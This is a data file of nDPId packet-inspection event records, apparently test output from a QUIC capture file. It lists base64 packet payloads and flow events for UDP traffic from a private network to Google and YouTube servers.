+02226{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":434758,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFAAViExsAADMR8IGs2RAEwKgBaQG7smUFTuJoAAJtF559wfLniJMKUcuzrAkxM4ZtlqClLXA2fcg4yX\/CS8FVqvjnn+XTbW6QwBlnQjQ4oIxmfPJvTCYx1+6q\/UstUtMQp+IZjeTJBlMOw7dA2jrcc7q8pCAO5S69wE0jvbHoaXxozI4G+XUitjK928bhHhfjs\/RZJ2ecBnC8Qd27naDBcerIud96N2luDjAo7SxOVicUE5Vc+IDS\/gULiI0Wy03j\/BwMhc+\/CBkwvnhGDmQ+Vp98dkN56YG74cwucuCwteUxzE45hc9+jQbvDN5zcFYtvYn9kMFFuX9LWDt8ikOFHkcbtMIwSZr0aUuKPklkT+b0fuoRiCQPEdQ5GqFHbPDkY8F76tpA9DZyOIM2xG5BxMrVeyFIuTwEhdqWuaWzjf3Lc7PN0YNSFsapoxP\/aBxbYyZRw9nU3Y02v596bNi228Iq9zyYMg7+YSYP3JIPa0n4\/jIG2E9\/j9iNxDEaxPs5UO8ce\/TwV\/5ZM5K1rAR3ifJn58NvIkCbILGq4qb2VIiaUyOmx+r9uRjxLhNlb14RcsyWjrdB9TzokyUoeeCxvmCNNV\/PCf+4HAZwrM9TvUfsdgRcvoJ\/iMpH1qOgohpnxeGQPCKwxA04tIgeu4HncN1RyF\/tXu7vKFk22NEFcRCwMD1RZXujj5\/teTtatmqtOwJpCkvpC4yZuFXg2blpr\/A1ybRyveV5+6VcLGfXgd9U+n5Cweyyas0MLOIMNegg1Gf8yt1m6RppNbJVS0X6puOjcKfjskCe78J1oQgj6IWG1D0TWBAT6vIG1Oj+CqZaNFvq2aA515Z5\/u4b06+86bUwkY4idLXnjbSFwwx7IMndlxfF0mE7W6Jqv3pc6pipn9cidtsW5AdPR0EgWOiwwesDcWfhIJOZOZYu4hvm7Y6zTYzFT15o41lGKK3AV865RvjKT63bozcTouEMGJpVrdvw6IL79JzXjSteVXqbnmCKoQsQd+jQ296pi7GCnsEolb\/5yfCKPeOv3yKHNT5\/e3jCUGMnAdipkrePbD1ZNIYARP6+PYjKTuLwAxeXpwbQKN0eV1dAZ60LOcuXpvCJzxaK3TZoJ+vQ8KCu2ClHUO5rPtgnCWJO9TkjAeb2MYqgicHG3zYOxOuSPutzLrboX1QjGLEyBkP61fyVNsMAU4u9bpu8M926iopXSbidq0Ynx9fpbIlKuVPomODTNtETQzBD+mhdZSh37Vf5RR8tdcdi22X7pVfyxGqAs96LONC3jAH3Cr9CR\/OO1FUp8QPtvXra9G2N8n+3+fd6TtNtKK5zhz6GTcmN0HMuFq0MPhcU7bZLoZDnQ3qW3vpDjBMX9H7ra+qdJy4M5A1Y1pIn02VDxU+mI6P60vd0fiPuYler46rxDrRnSRkdXaJWIO2zv0hKotSq7\/xNDDNAoJueK+GO\/GDawFNUgt\/LfR2fxi1+80KUBdo9jBHDdC3aDxa5P8FDrajY\/4yevaIBcrw5miNQnTxm\/lKEdw41cVXQDNfBsDmgnEdXkWAiCTJzGRK+WphsrYf0ULa6viW85nW\/rB9XBJmtUKQ0vue7N9rJZYgyPprl9TVWTo8pWDGs\/Wxen1YU9gUMHyuZ3q0Qfwy8BMEFgMhGdVV3T+nYkYOd7KrsP202sdeeVIgv7qmPe51339ghgHIItXv\/A80jQB94ClSWHQKIERaqrD590nYapTDObaU\/uuSYj+Owuw89v7W6QFgu++bIqtw79k3BIlzx5bNH5AEIJWmLvS1Jvhg6PExIJ13rc7lwXvJ\/wl7vJNUkPWWv6xSJgBNm2oLMSB\/Qm6UP"} +00445{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":436239,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABEerFAAEARUr3AqAFp2DrS7oaGAbsAMNFuDKSWOQdzcSypBN5dy4jG830pw08Es7Wn9FjSGT4MAs3qI+qpNHD36A=="} +00444{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":446140,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"8IQvSpdgeJKcD6iOCABFAABBOXBAAEARkIHAqAFp2DrWbr09AbsALc8CDJgh\/ntZ+3x4Ah13YQnq1RtTi\/NVT\/M8PU6bEbi3He17LuERfw=="} +02208{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":446799,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFAAVi7JoAADERM7bYOsnuwKgBaQG72n4FTiSvDNvEpLUMteNnAaUNyY55Ftxcp3QgTgCAAVJFSgAGAAAAU1RLAHAAAABTTk8AqAAAAFBST0bvAAAAU0NGR4IBAABSUkVKhgEAAENSVP9SBQAAJy7nP96y9QV42MKrzfRCPLT87WDRH7Fd5bV2IYJV5uerSuKcuz27mxBT4+gnyC4BMUrik01sKIil0iRgGwZXZriX2eqvjy0wvoZPR2mR64H2U8+GZaQSd+4vVoONHW5kMsgcr5Q\/br7AM9doxRgjn+8O22aMyRRKIbkIgECxfZ+3gPhZwCGzY3E1Vh0YGcUrXggtX0cSYrBSP4FN90wRk2Ud5VnIkrPbMEUCIQD6BAJQX5LoIPZW+skklsA6cQo9kEO8kehkPXFxP3LI1QIgI\/gkfWgDPoL5UerIs+RuGzTUGbty897xHCg0JJUpIv9TQ0ZHBwAAAEFFQUQIAAAAU0NJRBgAAABQRE1EHAAAAFBVQlM\/AAAAS0VYU0MAAABPQklUSwAAAEVYUFlTAAAAQUVTR0NDMjCzHyexPo2T9WCZD4U6m8alQ0hJRCAAAN5dryiyxa3rgUlMMcjfu+Bv+FmXvUMT6V4zrZRMsB8LQzI1NSKpyEIGkw80gGo2VwAAAAANAAAAAQMB6IFgkpIa6AMAAAADeybp5+Rccf8AAAAAAP8GAAB4u3NQLcT7zcYALLnYvhs0sd6HtOE4nNjWrVn\/dtpH9IYcFRtZoMLADJiHTID5BdaeMzA3MjewMLYEdaLSsFrFwcPlDEw3aflFeZmJsATJzsPrm1+aVwJKXWGZqeVwd\/Egu0vUQBjsLh4eLWCYgoTBkRsJFGYH+vGcLbD5wQFmMDOyMzsxsLxfdX3TDU9lHdWuzJUpXnVZcm2mTlvyE9uXmK6vKlKezi5qt92BwfbXEX6W+Kzp9q32MjOWzpfcaXXqbhovy4mLB6YvbmLpN2hi6SZUgDUxg\/sIgixNzK5AjmMTigObeLX0EvNSivIzwQ2eJjEgt6AgNS89My8VWZmQll5yTn5pCrKYGMwg3cS8xJzKkszkYrA4N8KCRGROThMfktV6mXmo\/KwCVH5pdhM\/slP1EovQBUrRBJLQVSTnownkVqAJlKBrKctDcnNKKhIntRiJk1aExMkoReJkliBx8nKQOAUonBJQoEI4iSnAIgASeHDHQETymkRgAkDZ3FRgiwKsTBAmWpaZkpoPFgLFa3EJsGBMBmnjReIBJbmA3LISQyS2EZgNND03taQIqApZNdAoYNslIxNcQDUJgHg5aDFfmV9aUpqUqpuXn5yfn50JT0xQcTRlqSmlkCoclkCAqSU3HcyRgie\/nMzUvJJiZHu4kZMmC0h9ExtQGtjGaRLBmvS4kJMslmDjQvIWF7hohpjGAXanXhIwupE9IILN+UgNKvYGgwykYjkGWLBoIxW48tAysCA7E8lX+u6eju5G4BJVG6kMhymGBoMhsg5QuY7UyNu9zVfBNmHfgtcntnZxTm9nnlVuroPW0EEuq7H2jBQhLQdg1YXWHeFgY0tv5AEW0wYGkKaOpoG6geoC5QWKhPyTg60rM437WMnVr0Fh6yZfC2hnKAg7V\/sxee8PtZO5FbZ1acp71Q6HKqZyNBhq7p\/nsXAW25P1rcHTNaa7r+Awva26447s1IeZ21l\/6b3PLeZ8oqL348JrZiOFCVzymU7uQRff2XMtf7nLtfn49Zsv9UIiy48GunguNJ8u19fsmjHl7+vgJzfPh7HMtG92lojP+H9uKYtC2fVFHPef18x48qbQ8HPxpewsRZ2PmUWTl2TPWuDrq\/9ubtJn"} +02199{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":446842,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFAAVi7JsAADERM7XYOsnuwKgBaQG72n4FTodMDNvEpLUMteNnAjCUFcdtv6XHZbkQxgCkAS0FXQCLsNsKswVSG3lP+qzvmF246uDhGtUyFwaTzRJRxS8XOFxmLluatV\/uy7O6p0+N2bQ\/+Zrt1fpZeW6648bpNyd9YDE3eJJ8v\/9lvMKhkrynd\/W+TFqduscYADp6WRYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00445{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":449085,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"eJKcD6iO8IQvSpdgCABFAABBki8AADERk03YOsnjwKgBaQG7nF4ALZpeDCo6NO9En0amAyq\/6miD++87XF5t3ABAAgFQJAEAOf\/\/\/wYAAg=="} +02203{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":449696,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAViJr5AAEARqpLAqAFp2DrJ7tp+AbsFTmNfDNvEpLUMteNnAkK6EhGkWzsY+0mYWwFAAAGICgEAC08BAAYAAaQBAAQABENITE8YAAAAUEFEABUBAABTTkkAIAEAAFNUSwCQAQAAU05PAMgBAABWRVIAzAEAAENDUwDcAQAATk9OQ\/wBAABNU1BDAAIAAEFFQUQEAgAAVUFJRCQCAABTQ0lENAIAAFRDSUQ4AgAAUERNRDwCAABTUkJGQAIAAElDU0xEAgAAUFVCU2QCAABTQ0xTaAIAAEtFWFNsAgAAQ09QVHACAABDQ1JUiAIAAElSVFSMAgAAQ0VUVjADAABDRkNXNAMAAFNGQ1c4AwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXMueXRpbWcuY29tJy7nP96y9QV42MKrzfRCPLT87WDRH7Fd5bV2IYJV5uerSuKcuz27mxBT4+gnyC4BMUrik01sKIil0iRgGwZXZriX2eqvjy0wvoZPR2mR64H2U8+GZaQSd+4vVoONHW5kMsgcr5Q\/br7AM9doxRgjn+8O22aMyRRKIbkIgECxfZ+3gPhZwCGzY3E1Vh0YGcUrXggtX0cSYrBSP4FN90wRk2Ud5VnIkrPbUTAyNXsm6efkXHH\/AeiBYJKSGuhXNIn0IqnIQgaTDzRtelxL0+7hjxauiGCNLupeJpOhHmQAAABDQzIwQ2hyb21lLzQ5LjAuMjYyMy44NyBMaW51eCB4ODZfNjSzHyexPo2T9WCZD4U6m8alAAAAAFg1MDkAABAAHgAAAEiyOniywzTGSMTKib7g31ZOwdWecrzRuYyXGwDlFjJ0AQAAAEMyNTVGSVhEVe9eTSHF9WXiYxqCfXGFX0ALe5CprnnrhREBANJxdf4Wd9FFW8AQoXCIXXgv2zEDqFp\/egW+DVGMyE09vxgZmlpnWzxY3Z57Ap1iGjKvYRqcB1Pc2wyfCKya+SKTTLxWUeVHKGc7wCkBIDZDIk18GkO4qEYo\/SGY+S73FxunU\/0XS39XYFv6kf0\/sNSKLyHyf6nXLT+fVCszn5F+ZG8qD17xGf7C+ufst7A7A3aNErJOiPxAkPjLJnObbm\/F9EfGAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00447{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":457563,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABEY\/ZAAEARcoPAqAFp2DrJ45xeAbsAML5wDCo6NO9En0amA1Q7\/sWx3BcMDqA8bo4ViNBU0n79W7TT2LrcIn1lUQ=="} +00442{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":460380,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"8IQvSpdgeJKcD6iOCABFAABBHB5AAEARn5\/AqAFprNkQBLJlAbsALTJ2DEPl1BjSnP0KAzjJULyfLco0lkyo8NxPEjOmoNDcdH7jUMYuMg=="} +02213{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":460459,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFAAVifaoAADIRmLPYOtLhwKgBaQG70jkFThU9AAFbOkhXLI3U967KCL3cJUfMqLc5FSrY4cYs3xypa7qHkPMQkfyihNqC28UhBOL3e\/5TBI7YTG0J23OmdlC7GgmCbVWFBre3mnIHOH5gNl6B4pV+JLE9LheDJBWLfps\/P5l5aMhy6p4xkqOtVn+84yrn69vnIGngY2UUctisj\/\/7qbGHoU7KjFVZvLiLnesCjZPEQ9bmtTdxJ8NIoohV99NBrL3ZR\/mRKqFg6ck1jjGMancWDX9uCodwuw+nFeiwhdNiUXqpCyb8WsgjNJlQgx5Jzfa6dxFwnJS2EsJzy1jow479DEUJQyupcHux9LBb4IxdT8f537ef70Ew4CvWu3Iba3a+sRfT8oSLt0CF8xrbGmeBEnSqbecBn6F2MYjUF2gtYKqmlv2GpssQgCf+y1IgiyKvJBAFYATvIM5Yoz\/5ASrdVp19my0ed8fkjXD\/9hI6BqGDwauf0bTx1RLAMhLrvl6pXAmkTiy9XjRAKtxJq+C1D4UKHSSI2+YjymrUAqCH3KRAZmA0Bxs3bF5O\/PSuozCEiM1fA6uKcRzdnnQiYy07+fjPtlVxQByhag2n\/cAPz+kuIj8MMSN1yDveDuOdF8jXFe5s9mrKD8JMfRZctDC3tl6y0RDe95cUiGF72q+hrAL\/PnaEp3C0gWLN0HrD0R9JOOxmp7Auh7povQU79kvL0xqyh4jnZ\/Eauv5xfJJ9WERDrqx3CTTuciqZlam2PDCCuo1MW4zttYvjA3nx3zF4aGwysEzvVFN3YL6hVQjdDA4G9W2+Ef0aVvJ6dwImjNYp4R0XlWhoyOCtNc6n9KHJ2lGiAOWbtoy+eIkUgerfolxpj29D8pTuvRSA6xSdgniEhkWz2S88FBK7lsS9dfKhGidfIxn3mpcstFKBaupKzVmBUCAqw1Z9aWdecUTnIY67owXaqxfverdyb0S4+uAKmDm4p8KZN+VbJFG\/ylg0sBWP80mInpEbGS7MrNOzG+nWmwobpNpDfkH6k4MJahEdbTJwc8F0zwrc9OBje09p8uO+iXNyZJSmFPRBYsNZ4SG8aHlZEWwk1zN++dYeWoX+nUUYJD4SmFHSyUSfF3Ib+mhP8VYivL+Z49LFaGNAB7KGxHv6fvGdSutX9bFiP1ZkAEhpweNPt8+O3nQTWj927mHvqPFEoMfTdYknC6NXf1NUkjL0SCHGhtXTgom7sP8gds1oLZBN2H5EejX\/eUCiWr6Vz0O2ty3vLiEaKe45R6dpcVbZGDcZnogU1oKhCd5eIW5VCS9ZoxdQUXYVQ5OVZmD0+lXGLDhaxED1Sg0QBEID7Gyk3XlpIelSpdCcj7XZyy+fDz5peeAIHd7A\/NT1xszFkW3dJpaVelwRfVQ2Tajy6IY3aeRniays5OlSdDEGtZvz+UGoOACWTNtx+Bck5uH4c3U2F4B+CPTc7F0hvJL623HEU79LiEo5zzmsjK4jgrRtPE6Ujm4ZpuNfqh8tPnhC9+Bi2Aja+3eezVsTpRflcLiQs0+wiUrXwIMtQYHLDjHEkGkWCaZ1nNn1+gwpcra6WAb6OHVPMNzrYJK0SrAHU0\/USbaXPZLFNMj2alWPs47VfDow3\/W3uXsLSYKoanH+Y+vNHJPIWjV0xMRUN6pTJE7IVb0BTnZ7b0D3Y4\/SxaKloeNxIuesxRvodNcMI\/1buC5kqkJStpYaf7KVkJyh1GHdI8GrmxoF2MSLqGY6lT0vPgbFD4MZreGOa5Sssczsczl+luw+iYguWV7SHDSmHfZxeBgkr589fC51KvvuWXNd3GZS5QlUqIxlrJRMHt8X"} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":6,"flow_first_seen":1463060980356,"flow_last_seen":1463060980457,"flow_tot_l4_data_len":5525,"flow_min_l4_data_len":45,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":920,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.201.227","src_port":40030,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00511{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_first_seen":1463060980313,"flow_last_seen":1463060980404,"flow_tot_l4_data_len":262,"flow_min_l4_data_len":45,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"172.217.16.3","src_port":40461,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"Google","breed":"Unrated","category":"Web"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_first_seen":1463060980313,"flow_last_seen":1463060980404,"flow_tot_l4_data_len":262,"flow_min_l4_data_len":45,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":87,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"172.217.16.3","src_port":40461,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":3,"flow_first_seen":1463060980349,"flow_last_seen":1463060980446,"flow_tot_l4_data_len":2761,"flow_min_l4_data_len":45,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":920,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.214.110","src_port":48445,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":7,"flow_first_seen":1463060980336,"flow_last_seen":1463060980436,"flow_tot_l4_data_len":6307,"flow_min_l4_data_len":45,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":901,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.210.238","src_port":34438,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":5,"flow_first_seen":1463060980301,"flow_last_seen":1463060980460,"flow_tot_l4_data_len":4164,"flow_min_l4_data_len":45,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":832,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"172.217.16.4","src_port":45669,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":2,"flow_first_seen":1463060980378,"flow_last_seen":1463060980460,"flow_tot_l4_data_len":2716,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.210.225","src_port":53817,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1463060980364,"flow_last_seen":1463060980449,"flow_tot_l4_data_len":5432,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.201.238","src_port":55934,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1463075953299,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.109","dst_ip":"216.58.210.206","src_port":35236,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02200{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463075953,"pkt_ts_usec":299562,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"6HTmLPTkABlmWmaMCABFAAViaTtAAEARXzHAqAFt2DrSzomkAbsFTpsFDby767UFbXetUTAzMAEh5i93uTUS22zwlS0AoAEABENITE8aAAAAUEFEAEYBAABTTkkAVQEAAFNUSwCPAQAAVkVSAJMBAABDQ1MAowEAAE5PTkPDAQAATVNQQ8cBAABBRUFEywEAAFVBSUTsAQAAU0NJRPwBAABUQ0lEAAIAAFBETUQEAgAAU1JCRggCAABJQ1NMDAIAAE5PTlAsAgAAUFVCU0wCAABTQ0xTUAIAAEtFWFNUAgAAWExDVFwCAABDU0NUXAIAAENPUFRgAgAAQ0NSVHgCAABJUlRUfAIAAENFVFYgAwAAQ0ZDVyQDAABTRkNXKAMAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0td3d3LnlvdXR1YmUuY29teFwziXjGfp0+iLiPa5NFRFyqDFkua